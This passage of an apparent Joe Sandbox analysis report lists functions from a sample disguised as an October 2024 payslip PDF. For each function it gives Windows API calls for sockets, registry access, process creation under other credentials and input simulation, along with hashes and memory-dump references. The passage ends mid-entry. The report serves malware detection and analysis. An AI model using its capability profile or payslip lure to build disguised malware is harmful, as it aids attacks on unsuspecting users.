Opcode ID: ff9ecd62dfaafb974d94670f7bb79b8bd6eec6270e73cdcb827ad10acf0a5b26
Instruction ID: d99def0b327ce49c6c2006af04b5c2d3ebaccab64ac2036ff90f48825651a23a
Opcode Fuzzy Hash: ff9ecd62dfaafb974d94670f7bb79b8bd6eec6270e73cdcb827ad10acf0a5b26
Instruction Fuzzy Hash: BC31E230604260AFDB21CF28EC85F5537E5FB6A719F1901A8F511DB2B5CB62EC409BA1

Function 00D16486 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00D180A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00D180CB

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00D164D9
WSAGetLastError.WSOCK32(00000000), ref: 00D164E8
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00D16521
connect.WSOCK32(00000000,?,00000010), ref: 00D1652A
WSAGetLastError.WSOCK32 ref: 00D16534
closesocket.WSOCK32(00000000), ref: 00D1655D
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00D16576

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 3f0a6727bffb18d49a90ee434230a5d903616fc240befc2d6c9b48b7e39ef806
Instruction ID: c916ea1d8e0ea26c1939806a8f18c3ea812b0fcd22555dc4f7e2d9b7326c6652
Opcode Fuzzy Hash: 3f0a6727bffb18d49a90ee434230a5d903616fc240befc2d6c9b48b7e39ef806
Instruction Fuzzy Hash: 3B31B071600218ABEB109F24EC85BBEBBB9EB45724F044029F945D7291DF70ED45DA71

Function 00CFE0B5 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CFE0FA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CFE120
SysAllocString.OLEAUT32(00000000), ref: 00CFE123
SysAllocString.OLEAUT32 ref: 00CFE144
SysFreeString.OLEAUT32 ref: 00CFE14D
StringFromGUID2.OLE32(?,?,00000028), ref: 00CFE167
SysAllocString.OLEAUT32(?), ref: 00CFE175

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 03c922ce33f96dee2d19d908f3949b64ece8906363f2269a1ecb33158120b364
Instruction ID: e2772471294c357485d08c96601f2ce8a8a55c24c3e8eada0d4d8e1cd933c77a
Opcode Fuzzy Hash: 03c922ce33f96dee2d19d908f3949b64ece8906363f2269a1ecb33158120b364
Instruction Fuzzy Hash: FC21773560420CAF9B60AFA9DC88DBB77ECEB09760B108135FA55CB271DA70DD428B65

Function 00D2783C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00CA1D73
Part of subcall function 00CA1D35: GetStockObject.GDI32(00000011), ref: 00CA1D87
Part of subcall function 00CA1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00CA1D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00D278A1
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00D278AE
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00D278B9
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00D278C8
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00D278D4

Strings

Msctls_Progress32, xrefs: 00D27872

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: e6e241c6ed99b4490fcd63884a7a713191413a85bacd9975f8618bbf6ac8d2bb
Instruction ID: 72b2b104e361835f7f9b985bb0e2c9ba55eb61d82a508f38fdb404ebe0e8f506
Opcode Fuzzy Hash: e6e241c6ed99b4490fcd63884a7a713191413a85bacd9975f8618bbf6ac8d2bb
Instruction Fuzzy Hash: AF118EB251022ABFEF159F60CC85EE7BF6DEF08768F014115BA04A2090C7729C21DBB0

Function 00CC41C9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00CC4292,?), ref: 00CC41E3
GetProcAddress.KERNEL32(00000000), ref: 00CC41EA
EncodePointer.KERNEL32(00000000), ref: 00CC41F6
DecodePointer.KERNEL32(00000001,00CC4292,?), ref: 00CC4213

Strings

combase.dll, xrefs: 00CC41DE
RoInitialize, xrefs: 00CC41D2

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 8ae303b7b0b8b8d7d0c6c65702ea23d0c43b0ad380711bd6476c641f8a840686
Instruction ID: d1a63fd730e863069c23244cb0fd4f3268b229a59886888a44e6109fd9b5cea1
Opcode Fuzzy Hash: 8ae303b7b0b8b8d7d0c6c65702ea23d0c43b0ad380711bd6476c641f8a840686
Instruction Fuzzy Hash: 1BE012B09903009FEB205F70FC09B1439A4BB26702F509834F421D52A0D7F9409A8F34

Function 00CC429E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00CC41B8), ref: 00CC42B8
GetProcAddress.KERNEL32(00000000), ref: 00CC42BF
EncodePointer.KERNEL32(00000000), ref: 00CC42CA
DecodePointer.KERNEL32(00CC41B8), ref: 00CC42E5

Strings

RoUninitialize, xrefs: 00CC42A7
combase.dll, xrefs: 00CC42B3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 66c23e9ed9192d29154c39eb9b247733d3229de442eb431ab2543a3ccdd1154a
Instruction ID: e92e0c6b222a522b3b4c9636f25b7bab08e156a192c70624445d37ee9b951c65
Opcode Fuzzy Hash: 66c23e9ed9192d29154c39eb9b247733d3229de442eb431ab2543a3ccdd1154a
Instruction Fuzzy Hash: 68E0B678981300EFEB209B60FD0DF163AB4BB26B42F104838F011E12A0CBB84595CB78

Function 00D0675A Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D068AD
_memmove.LIBCMT ref: 00D067E8

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

_memmove.LIBCMT ref: 00D0685B
_memmove.LIBCMT ref: 00D06942
_memmove.LIBCMT ref: 00D0695B
_memmove.LIBCMT ref: 00D06977

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 9657cee5ae1c26c43e9962b2af638bbffa38613e1f6d3521f78d4f5419ceb1b8
Instruction ID: b2008d403de728d88344b1fe9eb88c97a37262c1d12d566a888553dcfb61c37e
Opcode Fuzzy Hash: 9657cee5ae1c26c43e9962b2af638bbffa38613e1f6d3521f78d4f5419ceb1b8
Instruction Fuzzy Hash: 5461693050065AABDF11EF60D882FFE37A8AF46308F084559F85A5B2D2DB34E955EB60

Function 00D2046F Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Part of subcall function 00D210A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D20038,?,?), ref: 00D210BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D20548
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D20588
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00D205AB
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00D205D4
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00D20617
RegCloseKey.ADVAPI32(00000000), ref: 00D20624

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 4a494dff3626628602569fb61415f242c3f6d8d5a32e34719a2eab3193493f3e
Instruction ID: 4eb0b512828a37f04d48ae08c564dfadf4dcf28882aa9f6341f5d80b235bddab
Opcode Fuzzy Hash: 4a494dff3626628602569fb61415f242c3f6d8d5a32e34719a2eab3193493f3e
Instruction Fuzzy Hash: F8514A31108201AFC714EB64D885E6FBBE8FF95318F04492DF585872A2DB31E905DB62

Function 00D25A20 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00D25A82
GetMenuItemCount.USER32(00000000), ref: 00D25AB9
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00D25AE1
GetMenuItemID.USER32(?,?), ref: 00D25B50
GetSubMenu.USER32(?,?), ref: 00D25B5E
PostMessageW.USER32(?,00000111,?,00000000), ref: 00D25BAF

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 32763d4fd035fe5e0246d0f306d03d694ffa8d2975c5e10407cf4cbbda21fbb1
Instruction ID: e72000330b0fbab4fea4ec177fe6854388b6f61ac6b9cbebece8c37b951328e7
Opcode Fuzzy Hash: 32763d4fd035fe5e0246d0f306d03d694ffa8d2975c5e10407cf4cbbda21fbb1
Instruction Fuzzy Hash: 90518E31A00625EFCF11EFA4E845EAEB7B4EF58324F1444A9E845B7351CB70AE41DBA0

Function 00CFF3DD Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CFF3F7
VariantClear.OLEAUT32(00000013), ref: 00CFF469
VariantClear.OLEAUT32(00000000), ref: 00CFF4C4
_memmove.LIBCMT ref: 00CFF4EE
VariantClear.OLEAUT32(?), ref: 00CFF53B
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00CFF569

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: a8122f2877844183948efe138c2fedc84791c65e68b98df29e3d0823bb7a566f
Instruction ID: 2e7c76598b1651193855db0ae1bdfc965c8da5b33a41e3142a613f9b4094f084
Opcode Fuzzy Hash: a8122f2877844183948efe138c2fedc84791c65e68b98df29e3d0823bb7a566f
Instruction Fuzzy Hash: 7E516CB5A00209DFDB10DF58D884AAAB7B9FF4C314B15856DEE59DB300D730EA52CBA0

Function 00D026F9 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D02747
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D02792
IsMenu.USER32(00000000), ref: 00D027B2
CreatePopupMenu.USER32 ref: 00D027E6
GetMenuItemCount.USER32(000000FF), ref: 00D02844
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00D02875

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: afaf52adb1f112a20115b2aa89caa8a4a872a9a0e7aebd816a244dc4f2b4eb50
Instruction ID: ada50c14780f5e1463aeb4cf87d566c97548d0fb52efa848690eda3e22c4521d
Opcode Fuzzy Hash: afaf52adb1f112a20115b2aa89caa8a4a872a9a0e7aebd816a244dc4f2b4eb50
Instruction Fuzzy Hash: FD518A74A02206ABDB25CF68D88CBBEBBF4EF44314F188529E8599B2D0D7708904CB71

Function 00CA1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

BeginPaint.USER32(?,?,?,?,?,?), ref: 00CA179A
GetWindowRect.USER32(?,?), ref: 00CA17FE
ScreenToClient.USER32(?,?), ref: 00CA181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00CA182C
EndPaint.USER32(?,?), ref: 00CA1876

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 0a4bbeb0b6c811fbd88289b85eeeb8b386f8368287ed9073778a95a602215a24
Instruction ID: e2c3743f67ba81ac4609643d52e896f12c4af271d693983c9c0c39e2faebd77c
Opcode Fuzzy Hash: 0a4bbeb0b6c811fbd88289b85eeeb8b386f8368287ed9073778a95a602215a24
Instruction Fuzzy Hash: C5416D70504301AFD711DF25C884BAA7BF8EB5A728F180629FAA4C72A1C7719D45EB71

Function 00D2B958 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00D667B0,00000000,00FA5C20,?,?,00D667B0,?,00D2B862,?,?), ref: 00D2B9CC
EnableWindow.USER32(00000000,00000000), ref: 00D2B9F0
ShowWindow.USER32(00D667B0,00000000,00FA5C20,?,?,00D667B0,?,00D2B862,?,?), ref: 00D2BA50
ShowWindow.USER32(00000000,00000004,?,00D2B862,?,?), ref: 00D2BA62
EnableWindow.USER32(00000000,00000001), ref: 00D2BA86
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00D2BAA9

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 4550979672b38a66ea79e2227b9c6ea5d69ce8afd001dcc23b3af920e9b25f62
Instruction ID: 692e86924cc57dba22a0281890da736e14ccbe4135cabc08791f2e27880b69e7
Opcode Fuzzy Hash: 4550979672b38a66ea79e2227b9c6ea5d69ce8afd001dcc23b3af920e9b25f62
Instruction Fuzzy Hash: FC415130601651AFDB21CF14D489B957BE0FB15328F1C41BAEA489F6A2C7B1A846CF71

Function 00D173B1 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00D15134,?,?,00000000,00000001), ref: 00D173BF

Part of subcall function 00D13C94: GetWindowRect.USER32(?,?), ref: 00D13CA7

GetDesktopWindow.USER32 ref: 00D173E9
GetWindowRect.USER32(00000000), ref: 00D173F0
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00D17422

Part of subcall function 00D054E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00D0555E

GetCursorPos.USER32(?), ref: 00D1744E
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00D174AC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: b30e1581187c55c7654896269adca7a317ae602dce7e61e40d4e82ae20a2da6c
Instruction ID: 5b50dc605e55f9bbcb5b2ae003c7bbead98535d80e7b83fd110b67496c7aa907
Opcode Fuzzy Hash: b30e1581187c55c7654896269adca7a317ae602dce7e61e40d4e82ae20a2da6c
Instruction Fuzzy Hash: 8F31B272508315ABD720DF54E849F9BBBA9FF98314F000929F589D7191CA30E949CBA2

Function 00CF8D5B Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF85F1: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00CF8608
Part of subcall function 00CF85F1: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00CF8612
Part of subcall function 00CF85F1: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00CF8621
Part of subcall function 00CF85F1: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00CF8628
Part of subcall function 00CF85F1: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00CF863E

GetLengthSid.ADVAPI32(?,00000000,00CF8977), ref: 00CF8DAC
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00CF8DB8
HeapAlloc.KERNEL32(00000000), ref: 00CF8DBF
CopySid.ADVAPI32(00000000,00000000,?), ref: 00CF8DD8
GetProcessHeap.KERNEL32(00000000,00000000,00CF8977), ref: 00CF8DEC
HeapFree.KERNEL32(00000000), ref: 00CF8DF3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: b6129a6c7c65f57a1f567ac7416d9c457894ec6c37f285e62822522a3dc3571d
Instruction ID: 723b810ad5b154433ae9300461c91fa10ad0f619c83fa5320f47061cbab98785
Opcode Fuzzy Hash: b6129a6c7c65f57a1f567ac7416d9c457894ec6c37f285e62822522a3dc3571d
Instruction Fuzzy Hash: 8211CD3150060AEBDB608B64CC09BBE7779EF60315F104429E985D3250CB319A09CB71

Function 00CF8AF9 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00CF8B2A
OpenProcessToken.ADVAPI32(00000000), ref: 00CF8B31
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00CF8B40
CloseHandle.KERNEL32(00000004), ref: 00CF8B4B
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00CF8B7A
DestroyEnvironmentBlock.USERENV(00000000), ref: 00CF8B8E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 0929c34349966856108b27295babdc6f5b41b23a08f94cc6819da7b9c1a6fb90
Instruction ID: 2ab768e7cc7f84156b10d25f73c4c749ccc1723671eab3ae9873f69e4f7ff1ea
Opcode Fuzzy Hash: 0929c34349966856108b27295babdc6f5b41b23a08f94cc6819da7b9c1a6fb90
Instruction Fuzzy Hash: F21159B250020DABDF118FA4ED49FEA7BB9EF08304F044065FE04E2160C7729E66EB61

Function 00D2C19A Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00CA12F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00CA134D
